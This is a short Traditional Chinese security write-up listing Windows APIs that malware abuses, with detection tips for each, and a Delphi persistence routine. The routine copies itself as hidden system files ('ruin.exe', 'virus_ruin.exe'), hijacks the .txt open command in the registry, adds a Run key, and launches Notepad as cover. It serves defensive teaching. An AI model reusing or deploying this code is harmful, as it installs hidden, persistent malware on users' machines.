惡意程式通常包含:
| API | 正常用途 | 惡意濫用 | 防禦偵測重點 |
|---|---|---|---|
GetSystemDirectory | 取得系統目錄路徑 | 定位自我複製目標目錄 | 監控非信任程式呼叫 |
CopyFile | 複製檔案 | 自我複製至 %SystemRoot% | 檔案建立事件關聯程式 |
SetFileAttributes | 設定檔案屬性 | FILE_ATTRIBUTE_HIDDEN+SYSTEM 隱藏自身 | 屬性異常變更監控 |
RegOpenKey/RegSetValueEx | 登錄檔讀寫 | 寫入 Run、RunOnce、檔案關聯 shell\open\command | 登錄檔關鍵鍵值變更審計 |
ShellExecute | 執行檔案/開啟連結 | 啟動惡意載荷、開啟釣魚網頁 | 進程樹異常父子關係 |
RegisterServiceProcess (Win9x) | 註冊服務進程 | 隱藏進程列表 | 工具列進程枚舉對比 |
CreateService/StartService (NT+) | 建立/啟動系統服務 | 安裝持久化服務 | 服務建立事件監控 |
procedure SelfCopy; // 持久化模組範例
var Path, Value: array[0..255] of Char; HK: HKEY; S: String;
begin
GetSystemDirectory(Path, 256); // 取得系統目錄
S := StrPas(Path);
CopyFile(PChar(ParamStr(0)), PChar(S + '\ruin.exe'), False); // 複製自身
CopyFile(PChar(ParamStr(0)), PChar(S + '\virus_ruin.exe'), False);
SetFileAttributes(PChar(S + '\ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(PChar(S + '\virus_ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
RegOpenKey(HKEY_CLASSES_ROOT, 'txtfile\shell\open\command', HK); // 劫持 .txt 開啟動作
Value := 'virus_ruin.exe %1';
RegSetValueEx(HK, '', 0, REG_SZ, @Value, 17);
RegOpenKey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', HK);
Value := 'ruin.exe';
RegSetValueEx(HK, 'ruin', 0, REG_SZ, @Value, 8); // 開機自啟
end;
// 主程式進入點參數判斷 (檔案關聯觸發時帶參數)
begin
if ParamCount = 1 then
ShellExecute(0, 'open', 'notepad.exe', PChar(ParamStr(1)), nil, SW_NORMAL); // 偽裝正常開啟
// ... 其他惡意邏輯
end;
技術本身無善惡,使用者意圖決定性質。資安從業者應將技術能力轉化為防禦實力:建構偵測規則、強化系統韌性、提升組織資安成熟度。**知攻擊,更懂防禦。**